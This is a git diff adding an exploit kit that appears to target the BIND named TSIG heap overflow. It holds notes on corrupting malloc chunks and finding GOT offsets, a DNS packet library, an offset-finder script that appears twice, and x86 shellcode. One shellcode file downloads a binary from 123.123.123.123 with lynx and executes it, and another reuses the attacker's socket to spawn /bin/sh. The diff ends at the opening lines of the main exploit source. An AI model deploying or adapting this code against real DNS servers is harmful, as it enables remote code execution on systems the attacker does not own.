| 17 | With TCP, packet space is allocated on the heap, always in 65536 sized | ||
| 18 | chunks. To exploit it one must obtain two packet chunks directly bordering. | ||
| 19 | To make named allocate space you must send at least the 2 initial bytes which | ||
| 20 | indicate the length of the packet. Creating just 2 allocated packets doesn't | ||
| 21 | work because of the many little things which are allocated inbetween | ||
| 22 | connections. I still don't have a completely reliable way of getting two | ||
| 23 | consecutive packets... | ||
| 24 | |||
| 25 | I overwrite the length with 'id id 00 11' where id is the DNS ID in the header | ||
| 26 | of the packet you sent. This is set to 0 of course. The advantage with this | ||
| 27 | is PREV_INUSE flag is set, so when its freed it doesnt try to consolidate the | ||
| 28 | previous block so the prev_size you just overwrote doesnt matter. The actual | ||
| 29 | length of the chunk is now 0x10, so there is 8 junk bytes, and then another | ||
| 30 | chunk which you can fully control, woohoo ;) malloc should try and consolidate | ||
| 31 | the two 'chunks', which should cause an overwrite..... | ||
| 32 | |||
| 33 | The layout of the 3rd packet after the overwrite will be: | ||
| 34 | |||
| 35 | <prev_size = 0><size = 0x11><junk> ... | ||
| 36 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ||
| 37 | Overwritten -^ | ||
| 38 | |||
| 39 | mark previous as in use-. | ||
| 40 | v | ||
| 41 | <prev_size = 0><size = 0x11><retloc - 12><buffer + 12 + 1>... | ||
| 42 | |||
| 43 | mark previous as not in use-. | ||
| 44 | v | ||
| 45 | <prev_size = 0x10><size = 0x10><junk 8 bytes> | ||
| 46 | |||
| 47 | mark previous as in use-. | ||
| 48 | v | ||
| 49 | <prev_size = 0><size = 0x11><junk 8 bytes> | ||
| 50 | |||
| 51 | |||
| 52 | Important - after you send the complete overwrite packet remember to read | ||
| 53 | the response frmo the server, it will be about 65545 bytes, otherwise the | ||
| 54 | server hangs trying to send you data and the exploit doesn't work. | ||
| 55 | |||
| 56 | OFFSETS | ||
| 57 | |||
| 58 | Getting offsets for the udp simple method is relatively easy, it just takes | ||
| 59 | some single stepping skill, and knowledge of basic stack layout. For the | ||
| 60 | complex udp method its very difficult and time-consuming, and i don't | ||
| 61 | really have a systematic way of doing it. | ||
| 62 | TCP is much easier. Just do: | ||
| 63 | |||
| 64 | ltrace -e malloc -p `pidof named` | ||
| 65 | |||
| 66 | as root and watch the output as you create three simultaneous connections | ||
| 67 | and send two bytes on each. BIND should allocate memory for each connection | ||
| 68 | and the one you want is the second one. Add 13, and this is 'buf_addr' in | ||
| 69 | target_t. Then just do: | ||
| 70 | |||
| 71 | $ gdb /usr/sbin/named | ||
| 72 | (gdb) disass close | ||
| 73 | Dump of assembler code for function close: | ||
| 74 | 0x8049fa8 <close>: jmp *0x80f7230 | ||
| 75 | 0x8049fae <close+6>: push $0xa0 | ||
| 76 | 0x8049fb3 <close+11>: jmp 0x8049e58 | ||
| 77 | End of assembler dump. | ||
| 78 | (gdb) | ||
| 79 | |||
| 80 | The '0x80f7230' is the one you want for 'retloc' in target_t. And thats it! | ||
| 81 | Don't you just love the GOT ? :) | ||
| 82 | |||
| 83 | or just use find-offset.sh..... | ||
diff --git a/other/tsig/TODO b/other/tsig/TODO new file mode 100644 index 0000000..7ecb04c --- /dev/null +++ b/other/tsig/TODO | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | Add many connections to create huge padded buffer | ||
| 2 | Collect more offsets | ||
diff --git a/other/tsig/dnslib.c b/other/tsig/dnslib.c new file mode 100644 index 0000000..25bb41c --- /dev/null +++ b/other/tsig/dnslib.c | |||
| @@ -0,0 +1,270 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include "dnslib.h" | ||
| 3 | #include <sys/types.h> | ||
| 4 | #include <sys/socket.h> | ||
| 5 | #include <netinet/in.h> | ||
| 6 | #include <arpa/inet.h> | ||
| 7 | |||
| 8 | int | ||
| 9 | dns_mklongdn (u_char *cp, int length) | ||
| 10 | { | ||
| 11 | int orig_len = length; | ||
| 12 | |||
| 13 | if (length == 0) | ||
| 14 | return (0); | ||
| 15 | |||
| 16 | again: | ||
| 17 | if (length <= 64) { | ||
| 18 | if (length == 1) { | ||
| 19 | fprintf (stderr, "fuck...\n"); | ||
| 20 | exit (-1); | ||
| 21 | } | ||
| 22 | *cp++ = length - 1; | ||
| 23 | memset (cp, 'A', length - 1); | ||
| 24 | cp += length - 1; | ||
| 25 | return (orig_len); | ||
| 26 | } else { | ||
| 27 | if (length == 65) { | ||
| 28 | /* we don't want just 1 byte left over */ | ||
| 29 | *cp++ = 0x3e; | ||
| 30 | memset (cp, 'A', 0x3f); | ||
| 31 | cp += 0x3f; | ||
| 32 | length -= 0x3f; | ||
| 33 | } else { | ||
| 34 | *cp++ = 0x3f; | ||
| 35 | memset (cp, 'A', 0x3f); | ||
| 36 | cp += 0x3f; | ||
| 37 | length -= 0x40; | ||
| 38 | } | ||
| 39 | goto again; | ||
| 40 | } | ||
| 41 | |||
| 42 | return (orig_len); | ||
| 43 | } | ||
| 44 | |||
| 45 | static void | ||
| 46 | hex_dump (unsigned char *buf, int len) | ||
| 47 | { | ||
| 48 | if (len > 0x50) | ||
| 49 | len = 0x50; | ||
| 50 | while (len--) { | ||
| 51 | fprintf (stderr, "%01x ", *buf++); | ||
| 52 | } | ||
| 53 | } | ||
| 54 | |||
| 55 | void | ||
| 56 | dns_debug (unsigned char *buf) | ||
| 57 | { | ||
| 58 | HEADER *hdr; | ||
| 59 | unsigned char *orig = buf; | ||
| 60 | unsigned char tmp[1024]; | ||
| 61 | int i; | ||
| 62 | |||
| 63 | hdr = (HEADER *)buf; | ||
| 64 | |||
| 65 | fprintf (stderr, | ||
| 66 | "qr = %d\n" | ||
| 67 | "id = %d\n" | ||
| 68 | "opcode = %d\n" | ||
| 69 | "aa = %d\n" | ||
| 70 | "tc = %d\n" | ||
| 71 | "rd = %d\n" | ||
| 72 | "ra = %d\n" | ||
| 73 | "rcode = %d\n" | ||
| 74 | "qdcount = %d\n" | ||
| 75 | "ancount = %d\n" | ||
| 76 | "nscount = %d\n" | ||
| 77 | "arcount = %d\n", | ||
| 78 | hdr->qr, ntohs(hdr->id), hdr->opcode, hdr->aa, hdr->tc, | ||
| 79 | hdr->rd, hdr->ra, hdr->rcode, | ||
| 80 | ntohs (hdr->qdcount), ntohs(hdr->ancount), | ||
| 81 | ntohs (hdr->nscount), ntohs (hdr->arcount)); | ||
| 82 | |||
| 83 | buf += NS_HFIXEDSZ; | ||
| 84 | |||
| 85 | i = ntohs (hdr->qdcount); | ||
| 86 | while (i--) { | ||
| 87 | u_int16_t type, klass; | ||
| 88 | |||
| 89 | buf += dns_dn_expand (buf, tmp, orig); | ||
| 90 | NS_GET16 (type, buf); | ||
| 91 | NS_GET16 (klass, buf); | ||
| 92 | fprintf (stderr, "\n%s %d %d\n", tmp, type, klass); | ||
| 93 | } | ||
| 94 | |||
| 95 | i = ntohs (hdr->ancount) + ntohs (hdr->nscount) + ntohs (hdr->arcount); | ||
| 96 | while (i--) { | ||
| 97 | u_int16_t type, klass, rdlength; | ||
| 98 | u_int32_t ttl; | ||
| 99 | |||
| 100 | buf += dns_dn_expand (buf, tmp, orig); | ||
| 101 | fprintf (stderr, "%s ", tmp); | ||
| 102 | NS_GET16 (type, buf); | ||
| 103 | NS_GET16 (klass, buf); | ||
| 104 | NS_GET32 (ttl, buf); | ||
| 105 | NS_GET16 (rdlength, buf); | ||
| 106 | |||
| 107 | fprintf (stderr, "%d %d ", type, klass); | ||
| 108 | switch (type) { | ||
| 109 | case ns_t_a: | ||
| 110 | fprintf (stderr, "%s\n", inet_ntoa (*(struct in_addr *)buf)); | ||
| 111 | break; | ||
| 112 | case ns_t_ptr: | ||
| 113 | case ns_t_cname: | ||
| 114 | case ns_t_ns: | ||
| 115 | dns_dn_expand (buf, tmp, orig); | ||
| 116 | fprintf (stderr, "%s\n", tmp); | ||
| 117 | break; | ||
| 118 | default: | ||
| 119 | hex_dump (buf, rdlength); | ||
| 120 | } | ||
| 121 | buf += rdlength; | ||
| 122 | } | ||
| 123 | |||
| 124 | } | ||
| 125 | |||
| 126 | /* make a full dns query including header. Returns length of packet. | ||
| 127 | */ | ||
| 128 | int | ||
| 129 | dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass) | ||
| 130 | { | ||
| 131 | HEADER *head; | ||
| 132 | |||
| 133 | head = (HEADER *)buffer; | ||
| 134 | |||
| 135 | bzero (head, NS_HFIXEDSZ); | ||
| 136 | head->id = htons (id); | ||
| 137 | head->qr = 0; | ||
| 138 | head->opcode = 0; | ||
| 139 | head->aa = 0; | ||
| 140 | head->tc = 0; | ||
| 141 | head->rd = 1; | ||
| 142 | head->ra = 0; | ||
| 143 | head->rcode = 0; | ||
| 144 | head->qdcount = htons (1); | ||
| 145 | head->ancount = 0; | ||
| 146 | head->nscount = 0; | ||
| 147 | head->arcount = 0; | ||
| 148 | |||
| 149 | return (dns_mkqbody (name, buffer + NS_HFIXEDSZ, type, klass) + NS_HFIXEDSZ); | ||
| 150 | } | ||
| 151 | |||
| 152 | /* convert a \0-terminated string to a DNS domain name. | ||
| 153 | * www.yahoo.com(.) => \003www\005yahoo\003\com\000 | ||
| 154 | */ | ||
| 155 | int | ||
| 156 | dns_mkdn (char *in, u_char *out) | ||
| 157 | { | ||
| 158 | char *start = in, c = 0; | ||
| 159 | int n = strlen (in); | ||
| 160 | |||
| 161 | in += n - 1; | ||
| 162 | out += n + 1; | ||
| 163 | |||
| 164 | *out-- = 0; | ||
| 165 | |||
| 166 | n = 0; | ||
| 167 | while (in >= start) { | ||
| 168 | c = *in--; | ||
| 169 | if (c == '.') { | ||
| 170 | *out-- = n; | ||
| 171 | n = 0; | ||
| 172 | } else { | ||
| 173 | *out-- = c; | ||
| 174 | n++; | ||
| 175 | } | ||
| 176 | } | ||
| 177 | |||
| 178 | if (n) | ||
| 179 | *out-- = n; | ||
| 180 | |||
| 181 | return (strlen (out + 1) + 1); | ||
| 182 | } | ||
| 183 | |||
| 184 | /* simple function for making a, ptr and ns resource records | ||
| 185 | * doesn't support more complicated stuph. | ||
| 186 | */ | ||
| 187 | |||
| 188 | int | ||
| 189 | dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass, | ||
| 190 | char *rdata, u_int32_t ttl) | ||
| 191 | { | ||
| 192 | int n; | ||
| 193 | rrec_body *rec; | ||
| 194 | u_char *ptr = buf; | ||
| 195 | |||
| 196 | /* name the resource record pertains too */ | ||
| 197 | ptr += dns_mkdn (name, ptr); | ||
| 198 | rec = (rrec_body *)ptr; | ||
| 199 | rec->type = htons (type); | ||
| 200 | rec->klass = htons (klass); | ||
| 201 | rec->ttl = htonl (ttl); | ||
| 202 | rec->rdlength = 0; | ||
| 203 | ptr += 10; | ||
| 204 | |||
| 205 | switch (type) { | ||
| 206 | case ns_t_a: | ||
| 207 | *(u_int32_t *)ptr = inet_addr (rdata); | ||
| 208 | rec->rdlength = htons (4); | ||
| 209 | ptr += 4; | ||
| 210 | break; | ||
| 211 | case ns_t_ptr: | ||
| 212 | case ns_t_ns: | ||
| 213 | n = dns_mkdn (rdata, ptr); | ||
| 214 | ptr += n; | ||
| 215 | rec->rdlength = htons (n); | ||
| 216 | break; | ||
| 217 | default: | ||
| 218 | /**/ | ||
| 219 | } | ||
| 220 | return (ptr - buf); | ||
| 221 | } | ||
| 222 | |||
| 223 | /* make just the body of a DNS query. | ||
| 224 | */ | ||
| 225 | int | ||
| 226 | dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass) | ||
| 227 | { | ||
| 228 | int len; | ||
| 229 | |||
| 230 | len = dns_mkdn (name, buffer); | ||
| 231 | buffer += len; | ||
| 232 | NS_PUT16 (type, buffer); | ||
| 233 | NS_PUT16 (klass, buffer); | ||
| 234 | return (len + 4); | ||
| 235 | } | ||
| 236 | |||
| 237 | |||
| 238 | /* uncompress compressed dns names. ugh. | ||
| 239 | * works for normal formatted dns names too.. | ||
| 240 | * returns the length of the first part of the compressed name (i.e. | ||
| 241 | * before redirection). | ||
| 242 | */ | ||
| 243 | |||
| 244 | int | ||
| 245 | dns_dn_expand (u_char *in, char *out, u_char *msg) | ||
| 246 | { | ||
| 247 | u_char *start = in, *end = NULL; | ||
| 248 | u_char len; | ||
| 249 | u_int16_t off; | ||
| 250 | |||
| 251 | while ((len = *in++)) { | ||
| 252 | if (len & NS_CMPRSFLGS) { | ||
| 253 | if (end == NULL) | ||
| 254 | end = in + 1; | ||
| 255 | off = (len & ~NS_CMPRSFLGS); | ||
| 256 | off |= *in++ << 8; | ||
| 257 | off = ntohs (off); | ||
| 258 | in = msg + off; | ||
| 259 | continue; | ||
| 260 | } | ||
| 261 | memcpy (out, in, len); | ||
| 262 | out += len; | ||
| 263 | in += len; | ||
| 264 | *out++ = '.'; | ||
| 265 | } | ||
| 266 | if (end == NULL) | ||
| 267 | end = in; | ||
| 268 | *out++ = 0; | ||
| 269 | return (end - start); | ||
| 270 | } | ||
diff --git a/other/tsig/dnslib.h b/other/tsig/dnslib.h new file mode 100644 index 0000000..ccf4bfb --- /dev/null +++ b/other/tsig/dnslib.h | |||
| @@ -0,0 +1,58 @@ | |||
| 1 | /* dns helper functions by smiler / teso | ||
| 2 | * requires bind 8.x headers now | ||
| 3 | */ | ||
| 4 | |||
| 5 | #ifndef DNSLIB_H | ||
| 6 | #define DNSLIB_H | ||
| 7 | #include <stdlib.h> | ||
| 8 | #include <string.h> | ||
| 9 | #include <sys/types.h> | ||
| 10 | #include <arpa/nameser.h> | ||
| 11 | |||
| 12 | /* little endian macros */ | ||
| 13 | |||
| 14 | #define NS_LPUT16(s, blah) { \ | ||
| 15 | u_char *p = blah; \ | ||
| 16 | *(u_int16_t *)p = s; \ | ||
| 17 | blah += 2; \ | ||
| 18 | } | ||
| 19 | |||
| 20 | #define NS_LPUT32(s, blah) { \ | ||
| 21 | u_char *p = blah; \ | ||
| 22 | *(u_int32_t *)p = s; \ | ||
| 23 | blah += 4; \ | ||
| 24 | } | ||
| 25 | |||
| 26 | /* make a fully blown query packet */ | ||
| 27 | int dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass); | ||
| 28 | |||
| 29 | /* make a query record */ | ||
| 30 | int dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass); | ||
| 31 | |||
| 32 | /* convert to dns names, i.e. www.yahoo.com ==> \003www\005yahoo\003com\000 */ | ||
| 33 | int dns_mkdn (char *in, u_char *out); | ||
| 34 | |||
| 35 | /* uncompress (unchecked) a dns name */ | ||
| 36 | int dns_dn_expand (u_char *in, char *out, u_char *msg); | ||
| 37 | |||
| 38 | /* make a long dns name fragment (without terminating \000) | ||
| 39 | * provided length > 1 | ||
| 40 | */ | ||
| 41 | int dns_mklongdn (u_char *cp, int length); | ||
| 42 | |||
| 43 | /* print debug information to stderr | ||
| 44 | */ | ||
| 45 | void dns_debug (unsigned char *buf); | ||
| 46 | |||
| 47 | typedef struct { | ||
| 48 | u_int16_t type; | ||
| 49 | u_int16_t klass; | ||
| 50 | u_int32_t ttl; | ||
| 51 | u_int16_t rdlength; | ||
| 52 | } rrec_body; | ||
| 53 | |||
| 54 | /* create a resource record */ | ||
| 55 | int dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass, | ||
| 56 | char *rdata, u_int32_t ttl); | ||
| 57 | |||
| 58 | #endif /* DNSLIB_H */ | ||
diff --git a/other/tsig/dnslib.o b/other/tsig/dnslib.o new file mode 100644 index 0000000..b3a63db --- /dev/null +++ b/other/tsig/dnslib.o | |||
| Binary files differ | |||
diff --git a/other/tsig/find-offset.sh b/other/tsig/find-offset.sh new file mode 100644 index 0000000..2338253 --- /dev/null +++ b/other/tsig/find-offset.sh | |||
| @@ -0,0 +1,87 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | check_util () | ||
| 4 | { | ||
| 5 | for util in $*; do | ||
| 6 | echo -n "checking for $util: " | ||
| 7 | if ! which $util; then | ||
| 8 | echo "not found, aborting" | ||
| 9 | exit | ||
| 10 | fi | ||
| 11 | done | ||
| 12 | } | ||
| 13 | |||
| 14 | echo "7350 tsig exploit tcp offset finder" | ||
| 15 | |||
| 16 | if [ $# != 2 ]; then | ||
| 17 | echo "usage: $0 /path/to/named/binary pid-of-running-named" | ||
| 18 | echo | ||
| 19 | exit | ||
| 20 | fi; | ||
| 21 | |||
| 22 | check_util ltrace objdump gcc | ||
| 23 | |||
| 24 | cat > lala.c << EOF | ||
| 25 | #include <stdio.h> | ||
| 26 | #include <netinet/in.h> | ||
| 27 | #include <sys/types.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | |||
| 30 | int | ||
| 31 | get_connect (void) | ||
| 32 | { | ||
| 33 | int sock; | ||
| 34 | struct sockaddr_in sin; | ||
| 35 | |||
| 36 | memset (&sin, 0, sizeof(sin)); | ||
| 37 | |||
| 38 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 39 | if (sock < 0) { | ||
| 40 | perror ("socket"); | ||
| 41 | exit (-1); | ||
| 42 | } | ||
| 43 | sin.sin_addr.s_addr = inet_addr("127.0.0.1"); | ||
| 44 | sin.sin_port = htons (53); | ||
| 45 | sin.sin_family = AF_INET; | ||
| 46 | if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) { | ||
| 47 | perror ("connect"); | ||
| 48 | exit (-1); | ||
| 49 | } | ||
| 50 | send (sock, "aa", 2, 0); | ||
| 51 | } | ||
| 52 | |||
| 53 | int | ||
| 54 | main (int argc, char **argv) | ||
| 55 | { | ||
| 56 | get_connect(); | ||
| 57 | get_connect(); | ||
| 58 | get_connect(); | ||
| 59 | return(0); | ||
| 60 | } | ||
| 61 | EOF | ||
| 62 | gcc lala.c -o lala | ||
| 63 | ltrace -e malloc -p $2 -o ltrace-log & | ||
| 64 | ltrace_pid="$!" | ||
| 65 | ./lala | ||
| 66 | kill -INT ${ltrace_pid} | ||
| 67 | cat ltrace-log | head -2 | tail -1 > tmp | ||
| 68 | cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log | ||
| 69 | HEH=`cat ltrace-log| tr 'a-z' 'A-Z'` | ||
| 70 | cat > dc << EOF | ||
| 71 | 16 | ||
| 72 | o | ||
| 73 | 16 | ||
| 74 | i | ||
| 75 | EOF | ||
| 76 | echo ${HEH} >> dc | ||
| 77 | echo "D" >> dc | ||
| 78 | echo "+" >> dc | ||
| 79 | echo "p" >> dc | ||
| 80 | ret_addr=`dc ./dc` | ||
| 81 | echo $HEH | ||
| 82 | echo "set ret_addr to 0x$ret_addr" | ||
| 83 | rm -f ltrace-log tmp lala.c lala dc | ||
| 84 | |||
| 85 | HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '` | ||
| 86 | HEH="0x$HEH" | ||
| 87 | echo "set retloc to $HEH" | ||
diff --git a/other/tsig/obsolete/find-offset.sh b/other/tsig/obsolete/find-offset.sh new file mode 100644 index 0000000..2338253 --- /dev/null +++ b/other/tsig/obsolete/find-offset.sh | |||
| @@ -0,0 +1,87 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | check_util () | ||
| 4 | { | ||
| 5 | for util in $*; do | ||
| 6 | echo -n "checking for $util: " | ||
| 7 | if ! which $util; then | ||
| 8 | echo "not found, aborting" | ||
| 9 | exit | ||
| 10 | fi | ||
| 11 | done | ||
| 12 | } | ||
| 13 | |||
| 14 | echo "7350 tsig exploit tcp offset finder" | ||
| 15 | |||
| 16 | if [ $# != 2 ]; then | ||
| 17 | echo "usage: $0 /path/to/named/binary pid-of-running-named" | ||
| 18 | echo | ||
| 19 | exit | ||
| 20 | fi; | ||
| 21 | |||
| 22 | check_util ltrace objdump gcc | ||
| 23 | |||
| 24 | cat > lala.c << EOF | ||
| 25 | #include <stdio.h> | ||
| 26 | #include <netinet/in.h> | ||
| 27 | #include <sys/types.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | |||
| 30 | int | ||
| 31 | get_connect (void) | ||
| 32 | { | ||
| 33 | int sock; | ||
| 34 | struct sockaddr_in sin; | ||
| 35 | |||
| 36 | memset (&sin, 0, sizeof(sin)); | ||
| 37 | |||
| 38 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 39 | if (sock < 0) { | ||
| 40 | perror ("socket"); | ||
| 41 | exit (-1); | ||
| 42 | } | ||
| 43 | sin.sin_addr.s_addr = inet_addr("127.0.0.1"); | ||
| 44 | sin.sin_port = htons (53); | ||
| 45 | sin.sin_family = AF_INET; | ||
| 46 | if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) { | ||
| 47 | perror ("connect"); | ||
| 48 | exit (-1); | ||
| 49 | } | ||
| 50 | send (sock, "aa", 2, 0); | ||
| 51 | } | ||
| 52 | |||
| 53 | int | ||
| 54 | main (int argc, char **argv) | ||
| 55 | { | ||
| 56 | get_connect(); | ||
| 57 | get_connect(); | ||
| 58 | get_connect(); | ||
| 59 | return(0); | ||
| 60 | } | ||
| 61 | EOF | ||
| 62 | gcc lala.c -o lala | ||
| 63 | ltrace -e malloc -p $2 -o ltrace-log & | ||
| 64 | ltrace_pid="$!" | ||
| 65 | ./lala | ||
| 66 | kill -INT ${ltrace_pid} | ||
| 67 | cat ltrace-log | head -2 | tail -1 > tmp | ||
| 68 | cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log | ||
| 69 | HEH=`cat ltrace-log| tr 'a-z' 'A-Z'` | ||
| 70 | cat > dc << EOF | ||
| 71 | 16 | ||
| 72 | o | ||
| 73 | 16 | ||
| 74 | i | ||
| 75 | EOF | ||
| 76 | echo ${HEH} >> dc | ||
| 77 | echo "D" >> dc | ||
| 78 | echo "+" >> dc | ||
| 79 | echo "p" >> dc | ||
| 80 | ret_addr=`dc ./dc` | ||
| 81 | echo $HEH | ||
| 82 | echo "set ret_addr to 0x$ret_addr" | ||
| 83 | rm -f ltrace-log tmp lala.c lala dc | ||
| 84 | |||
| 85 | HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '` | ||
| 86 | HEH="0x$HEH" | ||
| 87 | echo "set retloc to $HEH" | ||
diff --git a/other/tsig/shellcode/execve-shellcode.s b/other/tsig/shellcode/execve-shellcode.s new file mode 100644 index 0000000..25015cf --- /dev/null +++ b/other/tsig/shellcode/execve-shellcode.s | |||
| @@ -0,0 +1,49 @@ | |||
| 1 | /* 38 byte arbitrary execve PIC linux/x86 shellcode - scut/teso */ | ||
| 2 | |||
| 3 | .data | ||
| 4 | .globl cbegin | ||
| 5 | .globl cend | ||
| 6 | |||
| 7 | cbegin: | ||
| 8 | |||
| 9 | jmp jahead | ||
| 10 | |||
| 11 | docall: | ||
| 12 | pop %edi | ||
| 13 | |||
| 14 | xorl %eax, %eax /* read number of arguments */ | ||
| 15 | push %eax | ||
| 16 | movb (%edi), %al | ||
| 17 | inc %edi | ||
| 18 | |||
| 19 | decl1: push %edi | ||
| 20 | decl2: scasb /* search delim bytes */ | ||
| 21 | jnz decl2 | ||
| 22 | |||
| 23 | movb %ah, -1(%edi) | ||
| 24 | dec %eax | ||
| 25 | jnz decl1 | ||
| 26 | |||
| 27 | pop %ebx /* pathname */ | ||
| 28 | push %ebx | ||
| 29 | |||
| 30 | push %eax | ||
| 31 | pop %edx /* esp -= 4, edx = &envp[] = NULL */ | ||
| 32 | movl %esp, %ecx /* ecx = &argv[] */ | ||
| 33 | |||
| 34 | movb $11, %al | ||
| 35 | int $0x80 | ||
| 36 | |||
| 37 | jahead: call docall | ||
| 38 | |||
| 39 | /* reverse order arguments */ | ||
| 40 | .byte 0x03 /* number of arguments */ | ||
| 41 | .ascii "lynx -source 123.123.123.123/a>a;chmod +x a;echo ./a" | ||
| 42 | .byte 0x03 | ||
| 43 | .ascii "-c" | ||
| 44 | .byte 0x02 | ||
| 45 | .ascii "/bin/sh" | ||
| 46 | .byte 0x01 | ||
| 47 | |||
| 48 | cend: | ||
| 49 | |||
diff --git a/other/tsig/shellcode/peername.s b/other/tsig/shellcode/peername.s new file mode 100644 index 0000000..61cab0a --- /dev/null +++ b/other/tsig/shellcode/peername.s | |||
| @@ -0,0 +1,79 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | xor %ebx,%ebx | ||
| 6 | mov $0x7,%bl | ||
| 7 | mov %esp,%edx | ||
| 8 | jmp label1 | ||
| 9 | stos %al,%es:(%edi) | ||
| 10 | stos %al,%es:(%edi) | ||
| 11 | stos %al,%es:(%edi) | ||
| 12 | stos %al,%es:(%edi) | ||
| 13 | stos %al,%es:(%edi) | ||
| 14 | stos %al,%es:(%edi) | ||
| 15 | stos %al,%es:(%edi) | ||
| 16 | stos %al,%es:(%edi) | ||
| 17 | stos %al,%es:(%edi) | ||
| 18 | |||
| 19 | label1: | ||
| 20 | push $0x10 | ||
| 21 | mov %esp,%ecx | ||
| 22 | push %ecx | ||
| 23 | push %edx | ||
| 24 | push $0xfe | ||
| 25 | mov %esp,%ecx | ||
| 26 | label2: | ||
| 27 | xor %eax,%eax | ||
| 28 | mov $0x66,%al | ||
| 29 | int $0x80 | ||
| 30 | test $0xff,%al | ||
| 31 | jne label3 | ||
| 32 | cmpw $0x5234,0x12(%esp,1) | ||
| 33 | je label4 | ||
| 34 | label3: | ||
| 35 | pop %edx | ||
| 36 | test $0xff,%dl | ||
| 37 | je label7 | ||
| 38 | dec %dl | ||
| 39 | push %edx | ||
| 40 | jmp label2 | ||
| 41 | .ascii "\x38" | ||
| 42 | label4: | ||
| 43 | pop %ebx | ||
| 44 | xor %ecx,%ecx | ||
| 45 | mov $0x3,%cl | ||
| 46 | label5: | ||
| 47 | dec %cl | ||
| 48 | xor %eax,%eax | ||
| 49 | mov $0x3f,%al | ||
| 50 | int $0x80 | ||
| 51 | jcxz label6 | ||
| 52 | jmp label5 | ||
| 53 | label6: | ||
| 54 | push $0x4 | ||
| 55 | push $0x0 | ||
| 56 | push $18 | ||
| 57 | push $1 | ||
| 58 | push %ebx | ||
| 59 | movl $102, %eax | ||
| 60 | movl $14, %ebx | ||
| 61 | movl %esp, %ecx | ||
| 62 | int $0x80 | ||
| 63 | push $0x0 | ||
| 64 | push $0x0 | ||
| 65 | push $0x68732f | ||
| 66 | push $0x6e69622f | ||
| 67 | lea 0x8(%esp,1),%ecx | ||
| 68 | lea 0xc(%esp,1),%edx | ||
| 69 | mov %esp,(%ecx) | ||
| 70 | mov %esp,%ebx | ||
| 71 | xor %eax,%eax | ||
| 72 | mov $0xb,%al | ||
| 73 | int $0x80 | ||
| 74 | label7: | ||
| 75 | xor %eax,%eax | ||
| 76 | inc %al | ||
| 77 | int $0x80 | ||
| 78 | cend: | ||
| 79 | |||
diff --git a/other/tsig/shellcode/shellcode.c b/other/tsig/shellcode/shellcode.c new file mode 100644 index 0000000..0239f12 --- /dev/null +++ b/other/tsig/shellcode/shellcode.c | |||
| @@ -0,0 +1,48 @@ | |||
| 1 | /* shellcode extraction utility, | ||
| 2 | * by typo / teso, small mods by scut. | ||
| 3 | */ | ||
| 4 | |||
| 5 | |||
| 6 | #include <stdio.h> | ||
| 7 | #include <stdlib.h> | ||
| 8 | #include <ctype.h> | ||
| 9 | |||
| 10 | extern void cbegin (); | ||
| 11 | extern void cend (); | ||
| 12 | |||
| 13 | |||
| 14 | int | ||
| 15 | main (int argc, char *argv[]) | ||
| 16 | { | ||
| 17 | int i; | ||
| 18 | unsigned char * buf = (unsigned char *) cbegin; | ||
| 19 | unsigned char ex_buf[1024]; | ||
| 20 | |||
| 21 | |||
| 22 | printf ("/* %d byte shellcode */\n", cend - cbegin); | ||
| 23 | printf ("\""); | ||
| 24 | for (i = 0 ; buf < (unsigned char *) cend; ++buf) { | ||
| 25 | |||
| 26 | printf ("\\x%02x", *buf & 0xff); | ||
| 27 | |||
| 28 | if (++i >= 12) { | ||
| 29 | i = 0; | ||
| 30 | printf ("\"\n\""); | ||
| 31 | } | ||
| 32 | } | ||
| 33 | printf ("\";\n"); | ||
| 34 | |||
| 35 | printf("\n"); | ||
| 36 | |||
| 37 | if (argc > 1) { | ||
| 38 | printf ("%02x\n", ((unsigned char *) cbegin)[0]); | ||
| 39 | printf ("%02x\n", ex_buf[0]); | ||
| 40 | memcpy (ex_buf, cbegin, cend - cbegin); | ||
| 41 | printf ("%02x\n", ex_buf[0]); | ||
| 42 | |||
| 43 | ((void (*)()) &ex_buf)(); | ||
| 44 | } | ||
| 45 | |||
| 46 | exit (EXIT_SUCCESS); | ||
| 47 | } | ||
| 48 | |||
diff --git a/other/tsig/tcp.c b/other/tsig/tcp.c new file mode 100644 index 0000000..fa942f1 --- /dev/null +++ b/other/tsig/tcp.c | |||
| @@ -0,0 +1,857 @@ | |||
| 1 | /* coded by smiler / teso | ||
| 2 | * | ||
| 3 | * teso private release - do not distribute | ||
| 4 | * | ||
| 5 | * based on scut's method | ||
| 6 | * | ||
| 7 | * 0.2 added palmers slack 7.1 offsets | ||
| 8 | * 0.3 added scut's huge collection of offsets :) | ||
| 9 | * 0.4 added populator reliability -sc. :) | ||
| 10 | * | ||
| 11 | * feedback welcome, im sure there is a better way to do it than this. | ||
| 12 | */ | ||
| 13 | |||
| 14 | #include <stdio.h> | ||
| 15 | #include <string.h> | ||
| 16 | #include <stdlib.h> | ||
| 17 | #include <ctype.h> | ||
| 18 | #include <sys/time.h> | ||
| 19 | #include <sys/types.h> | ||
| 20 | #include <sys/select.h> | ||
| 21 | #include <sys/socket.h> | ||
| 22 | #include <netinet/in.h> | ||
| 23 | #include <netdb.h> | ||
| 24 | #include <fcntl.h> | ||
| 25 | #include <unistd.h> | ||
| 26 | #if !defined(__FreeBSD__) | ||
| 27 | # include <getopt.h> | ||
| 28 | #endif | ||
